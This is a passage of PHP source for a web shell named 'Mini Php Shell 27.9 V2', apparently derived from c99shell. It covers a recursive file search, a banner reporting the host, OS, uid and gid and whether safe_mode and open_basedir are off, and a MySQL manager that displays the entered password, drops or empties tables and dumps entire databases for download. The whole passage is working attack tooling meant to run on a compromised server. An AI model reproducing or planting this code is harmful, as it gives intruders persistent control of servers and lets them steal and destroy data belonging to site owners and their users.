  714. $sql = "CREATE DATABASE `".addslashes($db)."`;";
  715. if ($sock) {return mysql_query($sql,$sock);}
  716. else {return mysql_query($sql);}
  717. }
  718. }
  719. if (!function_exists("mysql_query_parse"))
  720. {
  721. function mysql_query_parse($query)
  722. {
  723. $query = trim($query);
  724. $arr = explode (" ",$query);
  725. /*array array()
  726. {
  727. "METHOD"=>array(output_type),
  728. "METHOD1"...
  729. ...
  730. }
  731. if output_type == 0, no output,
  732. if output_type == 1, no output if no error
  733. if output_type == 2, output without control-buttons
  734. if output_type == 3, output with control-buttons
  735. */
  736. $types = array(
  737. "SELECT"=>array(3,1),
  738. "SHOW"=>array(2,1),
  739. "DELETE"=>array(1),
  740. "DROP"=>array(1)
  741. );
  742. $result = array();
  743. $op = strtoupper($arr[0]);
  744. if (is_array($types[$op]))
  745. {
  746. $result["propertions"] = $types[$op];
  747. $result["query"] = $query;
  748. if ($types[$op] == 2)
  749. {
  750. foreach($arr as $k=>$v)
  751. {
  752. if (strtoupper($v) == "LIMIT")
  753. {
  754. $result["limit"] = $arr[$k+1];
  755. $result["limit"] = explode(",",$result["limit"]);
  756. if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
  757. unset($arr[$k],$arr[$k+1]);
  758. }
  759. }
  760. }
  761. }
  762. else {return FALSE;}
  763. }
  764. }
  765. if (!function_exists("c99fsearch"))
  766. {
  767. function c99fsearch($d)
  768. {
  769. global $found;
  770. global $found_d;
  771. global $found_f;
  772. global $search_i_f;
  773. global $search_i_d;
  774. global $a;
  775. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  776. $h = opendir($d);
  777. while (($f = readdir($h)) !== FALSE)
  778. {
  779. if($f != "." && $f != "..")
  780. {
  781. $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
  782. if (is_dir($d.$f))
  783. {
  784. $search_i_d++;
  785. if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
  786. if (!is_link($d.$f)) {c99fsearch($d.$f);}
  787. }
  788. else
  789. {
  790. $search_i_f++;
  791. if ($bool)
  792. {
  793. if (!empty($a["text"]))
  794. {
  795. $r = @file_get_contents($d.$f);
  796. if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
  797. if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
  798. if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
  799. else {$bool = strpos(" ".$r,$a["text"],1);}
  800. if ($a["text_not"]) {$bool = !$bool;}
  801. if ($bool) {$found[] = $d.$f; $found_f++;}
  802. }
  803. else {$found[] = $d.$f; $found_f++;}
  804. }
  805. }
  806. }
  807. }
  808. closedir($h);
  809. }
  810. }
  811. if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
  812. //Sending headers
  813. @ob_start();
  814. @ob_implicit_flush(0);
  815. function onphpshutdown()
  816. {
  817. global $gzipencode,$ft;
  818. if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
  819. {
  820. $v = @ob_get_contents();
  821. @ob_end_clean();
  822. @ob_start("ob_gzHandler");
  823. echo $v;
  824. @ob_end_flush();
  825. }
  826. }
  827. function c99shexit()
  828. {
  829. onphpshutdown();
  830. exit;
  831. }
  832. header("Expires: 28 Jul 2011 18:00:52 GMT");
  833. header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  834. header("Cache-Control: no-store, no-cache, must-revalidate");
  835. header("Cache-Control: post-check=0, pre-check=0", FALSE);
  836. header("Pragma: no-cache");
  837. if (empty($tmpdir))
  838. {
  839. $tmpdir = ini_get("upload_tmp_dir");
  840. if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
  841. }
  842. $tmpdir = realpath($tmpdir);
  843. $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
  844. if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
  845. if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  846. else {$tmpdir_logs = realpath($tmpdir_logs);}
  847. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  848. {
  849. $safemode = TRUE;
  850. $hsafemode = "<font color=red>ON (secure)</font>";
  851. }
  852. else {$safemode = FALSE; $hsafemode = "<font color=red>OFF (not secure)</font>";}
  853. $v = @ini_get("open_basedir");
  854. if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";}
  855. else {$openbasedir = FALSE; $hopenbasedir = "<font color=red>OFF (not secure)</font>";}
  856. $sort = htmlspecialchars($sort);
  857. if (empty($sort)) {$sort = $sort_default;}
  858. $sort[1] = strtolower($sort[1]);
  859. $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  860. if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
  861. $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
  862. @ini_set("highlight.bg",$highlight_bg); //FFFFFF
  863. @ini_set("highlight.comment",$highlight_comment); //#FF8000
  864. @ini_set("highlight.default",$highlight_default); //#0000BB
  865. @ini_set("highlight.html",$highlight_html); //#000000
  866. @ini_set("highlight.keyword",$highlight_keyword); //#007700
  867. @ini_set("highlight.string",$highlight_string); //#DD0000
  868. if (!is_array($actbox)) {$actbox = array();}
  869. $dspact = $act = htmlspecialchars($act);
  870. $disp_fullpath = $ls_arr = $notls = null;
  871. $ud = urlencode($d);
  872. ?>
  873. <html>
  874. <head>
  875. <title>Mini Php Shell 27.9 V2</title>
  876. <style type="text/css">
  877. a {
  878. text-decoration: none;
  879. color: #FFFFFF;
  880. }
  881.  
  882. a img {
  883. border: 0;
  884. }
  885.  
  886. #view tr:hover {
  887. background-color: #FFFFFF;
  888. }
  889.  
  890. input {
  891. font-family: Courier New, Courier, Fixed;
  892. font-size: 15px;
  893. background-color: #FFFFFF;
  894. color: #000000;
  895. }
  896.  
  897. input:hover {
  898. background-color: #000000;
  899. }
  900.  
  901. textarea {
  902. font-family: Courier New, Courier, Fixed;
  903. font-size: 15px;
  904. background-color: #FFFFFF;
  905. color: #000000;
  906. }
  907.  
  908. body {
  909. font-family: Courier New, Courier, Fixed;
  910. font-size: 10px;
  911. color: #FFFFFF;
  912. }
  913.  
  914. table#bordered {
  915. border: 1px solid #FFFFFF;
  916. background-color: #000;
  917. font-family: Courier New, Courier, Fixed;
  918. font-size: 15px;
  919. color: #FFFFFF;
  920. }
  921.  
  922. TD{ FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}
  923.  
  924. form#post {}
  925.  
  926. #post .buttons {
  927. background-color: transparent;
  928. font-family: Arial;
  929. font-size: 15px;
  930. color: #777;
  931. border: 0;
  932. }
  933.  
  934. #cell {
  935. border-bottom: 1px #FFFFFF dotted;
  936. }
  937. </style>
  938. </head>
  939.  
  940. <body bgcolor="#000000" background="http://oi52.tinypic.com/sphybr.jpg" link="#444444" vlink="#444444">
  941. <h1 style='color: #fff'><u><a href="<?php print $_SERVER['PHP_SELF']; ?>" style="color: #fff">
  942. Mini Php Shell 27.9 V2</a></u></h1>
  943. <p style="color: #fff">Coded by jos_ali_joe<br><br># web: <u><a" style="display: inline;
  944. color: #fff">http://devilzc0de.com/</a></u><br> # Contact : [email protected] </u></p>
  945.  
  946. <table border=0 id="bordered">
  947. <?php
  948.  
  949. print "<tr><td>~ host </td><td><b>".$_SERVER['SERVER_NAME']."</b></td></tr>";
  950. print "<tr><td>~ server </td><td><b>".$_SERVER['SERVER_SOFTWARE']."</b></td></tr>";
  951. if (is_callable("php_uname"))
  952. print "<tr><td>~ os </td><td><b>".php_uname()."</b></td></tr>";
  953.  
  954. if (is_callable("posix_getuid") and is_callable("posix_getgid")) {
  955. $uid=posix_getuid();
  956. $uname=posix_getpwuid($uid);
  957. $uname=$uname['name'];
  958.  
  959. $gid=posix_getgid();
  960. $gname=posix_getgrgid($gid);
  961. $gname=$gname['name'];
  962.  
  963. print "<tr><td>~ uid </td><td><b>$uid ($uname)</b></td></tr>";
  964. print "<tr><td>~ gid </td><td><b>$gid ($gname)</b></td></tr>";
  965. }
  966.  
  967. print "</table><br><br>";
  968.  
  969.  
  970.  
  971. $mysql_on = @function_exists('mysql_connect');
  972. $mssql_on = @function_exists('mssql_connect');
  973. $pg_on = @function_exists('pg_connect');
  974. $ora_on = @function_exists('ocilogon');
  975.  
  976. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  977. if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
  978. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  979. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  980. $d = str_replace("\\\\","\\",$d);
  981. $dispd = htmlspecialchars($d);
  982. $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
  983. $i = 0;
  984. /*foreach($pd as $b)
  985. {
  986. $t = "";
  987. $j = 0;
  988. foreach ($e as $r)
  989. {
  990. $t.= $r.DIRECTORY_SEPARATOR;
  991. if ($j == $i) {break;}
  992. $j++;
  993. }
  994. echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
  995. $i++;
  996. }*/
  997. /*echo "&nbsp;&nbsp;&nbsp;";
  998. if (is_writable($d))
  999. {
  1000. $wd = TRUE;
  1001. $wdt = "<font color=red>[ ok ]</font>";
  1002. echo "<b><font color=red>".view_perms(fileperms($d))."</font></b>";
  1003. }
  1004. else
  1005. {
  1006. $wd = FALSE;
  1007. $wdt = "<font color=red>[ Read-Only ]</font>";
  1008. echo "<b>".view_perms_color($d)."</b>";
  1009. }*/
  1010. /*if (is_callable("disk_free_space"))
  1011. {
  1012. $free = disk_free_space($d);
  1013. $total = disk_total_space($d);
  1014. if ($free === FALSE) {$free = 0;}
  1015. if ($total === FALSE) {$total = 0;}
  1016. if ($free < 0) {$free = 0;}
  1017. if ($total < 0) {$total = 0;}
  1018. $used = $total-$free;
  1019. $free_percent = round(100/($total/$free),2);
  1020. echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";
  1021.  
  1022. }
  1023. echo "<br>";
  1024. echo "<b>Your ip: <a href=http://".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a> - Server ip: <a href=http://".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a></b><br/>";*/
  1025. /*$letters = "";
  1026. if ($win)
  1027. {
  1028. $v = explode("\\",$d);
  1029. $v = $v[0];
  1030. foreach (range("a","z") as $letter)
  1031. {
  1032. $bool = $isdiskette = in_array($letter,$safemode_diskettes);
  1033. if (!$bool) {$bool = is_dir($letter.":\\");}
  1034. if ($bool)
  1035. {
  1036. $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ ";
  1037. if ($letter.":" != $v) {$letters .= $letter;}
  1038. else {$letters .= "<font color=red>".$letter."</font>";}
  1039. $letters .= " ]</a> ";
  1040. }
  1041. }
  1042. if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
  1043. }*/
  1044. echo '
  1045. <div align="center">
  1046. <table width="100%" id="bordered">
  1047. <tr><td>';
  1048. if (count($quicklaunch) > 0)
  1049. {
  1050. foreach($quicklaunch as $item)
  1051. {
  1052. $item[1] = str_replace("%d",urlencode($d),$item[1]);
  1053. $item[1] = str_replace("%sort",$sort,$item[1]);
  1054. $v = realpath($d."..");
  1055. if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
  1056. $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  1057. echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;";
  1058. }
  1059. }
  1060. echo "</td></tr></table><br>";
  1061.  
  1062. if ((!empty($donated_html)) and (in_array($act,$donated_act))) {
  1063. echo "<table width=\"100%\" id=\"bordered\">
  1064. <tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table>
  1065. <br>";
  1066. }
  1067.  
  1068. echo "<table width=\"100%\" id=\"bordered\">
  1069. <tr><td width=\"100%\" valign=\"top\">";
  1070.  
  1071. if ($act == "") {$act = $dspact = "ls";}
  1072. if ($act == "sql")
  1073. {
  1074. $sql_surl = $surl."act=sql";
  1075. if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
  1076. if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
  1077. if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
  1078. if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
  1079. if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
  1080. $sql_surl .= "&";
  1081. ?>
  1082. <TABLE width="100%" id="bordered">
  1083. <tr><td width="100%" height="1" colspan="2" valign="top">
  1084. <center><?php
  1085. if ($sql_server)
  1086. {
  1087. $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
  1088. $err = mysql_smarterror();
  1089. @mysql_select_db($sql_db,$sql_sock);
  1090. if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
  1091. }
  1092. else {$sql_sock = FALSE;}
  1093. echo "<b>SQL Manager:</b><br>";
  1094. if (!$sql_sock)
  1095. {
  1096. if (!$sql_server) {echo "NO CONNECTION";}
  1097. else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
  1098. }
  1099. else
  1100. {
  1101. $sqlquicklaunch = array();
  1102. $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
  1103. $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
  1104. $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
  1105. $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
  1106. $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
  1107. $sqlquicklaunch[] = array("Logout",$surl."act=sql");
  1108. echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
  1109. if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
  1110. echo "</center>";
  1111. }
  1112. echo "</td></tr><tr>";
  1113. if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"><br/></font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
  1114. else
  1115. {
  1116. //Start left panel
  1117. if (!empty($sql_db))
  1118. {
  1119. ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."w4/act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php
  1120. $result = mysql_list_tables($sql_db);
  1121. if (!$result) {echo mysql_smarterror();}
  1122. else
  1123. {
  1124. echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
  1125. $c = 0;
  1126. while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>?nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
  1127. if (!$c) {echo "No tables found in database.";}
  1128. }
  1129. }
  1130. else
  1131. {
  1132. ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php
  1133. $result = mysql_list_dbs($sql_sock);
  1134. if (!$result) {echo mysql_smarterror();}
  1135. else
  1136. {
  1137. ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
  1138. $c = 0;
  1139. $dbs = "";
  1140. while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
  1141. echo "<option value=\"\">Databases (".$c.")</option>";
  1142. echo $dbs;
  1143. }
  1144. ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php
  1145. }
  1146. //End left panel
  1147. echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
  1148. //Start center panel
  1149. $diplay = TRUE;
  1150. if ($sql_db)
  1151. {
  1152. if (!is_numeric($c)) {$c = 0;}
  1153. if ($c == 0) {$c = "no";}
  1154. echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
  1155. if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  1156. echo "</b></center>";
  1157. $acts = array("","dump");
  1158. if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1159. elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
  1160. elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
  1161. elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1162. elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1163. elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1164. elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1165. elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
  1166. elseif ($sql_tbl_act == "insert")
  1167. {
  1168. if ($sql_tbl_insert_radio == 1)
  1169. {
  1170. $keys = "";
  1171. $akeys = array_keys($sql_tbl_insert);
  1172. foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
  1173. if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
  1174. $values = "";
  1175. $i = 0;
  1176. foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
  1177. if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
  1178. $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
  1179. $sql_act = "query";
  1180. $sql_tbl_act = "browse";
  1181. }
  1182. elseif ($sql_tbl_insert_radio == 2)
  1183. {
  1184. $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
  1185. $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
  1186. $result = mysql_query($sql_query) or print(mysql_smarterror());
  1187. $result = mysql_fetch_array($result, MYSQL_ASSOC);
  1188. $sql_act = "query";
  1189. $sql_tbl_act = "browse";
  1190. }
  1191. }
  1192. if ($sql_act == "query")
  1193. {
  1194. echo "<hr size=\"1\" noshade>";
  1195. if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  1196. if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  1197. if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";}
  1198. }
  1199. if (in_array($sql_act,$acts))
  1200. {
  1201. ?><table border="0" width="100%" height="1"><tr>
  1202. <td width="30%" height="1"><b>Create a new table:</b>
  1203. <form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td>
  1204.  
  1205. <td width="30%" height="1"><b>Dump DataBase:</b>
  1206. <form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
  1207. if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
  1208. if ($sql_act == "newtbl")
  1209. {
  1210. echo "<b>";
  1211. if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
  1212. }
  1213. else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  1214. }
  1215. elseif ($sql_act == "dump")
  1216. {
  1217. if (empty($submit))
  1218. {
  1219. $diplay = FALSE;
  1220. echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
  1221. echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
  1222. $v = join (";",$dmptbls);
  1223. echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
  1224. if ($dump_file) {$tmp = $dump_file;}
  1225. else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
  1226. echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
  1227. echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
  1228. echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
  1229. echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
  1230. echo "</form>";
  1231. }
  1232. else
  1233. {
  1234. $diplay = TRUE;
  1235. $set = array();
  1236. $set["sock"] = $sql_sock;
  1237. $set["db"] = $sql_db;
  1238. $dump_out = "download";
  1239. $set["print"] = 0;
  1240. $set["nl2br"] = 0;
  1241. $set[""] = 0;
  1242. $set["file"] = $dump_file;
  1243. $set["add_drop"] = TRUE;
  1244. $set["onlytabs"] = array();
  1245. if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
  1246. $ret = mysql_dump($set);
  1247. if ($sql_dump_download)
  1248. {
  1249. @ob_clean();
  1250. header("Content-type: application/octet-stream");
  1251. header("Content-length: ".strlen($ret));
  1252. header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
  1253. echo $ret;
  1254. exit;
  1255. }
  1256. elseif ($sql_dump_savetofile)
  1257. {
  1258. $fp = fopen($sql_dump_file,"w");
  1259. if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
  1260. else
  1261. {
  1262. fwrite($fp,$ret);
  1263. fclose($fp);
  1264. echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
  1265. }
  1266. }
  1267. else {echo "<b>Dump: nothing to do!</b>";}
  1268. }
  1269. }
  1270. if ($diplay)
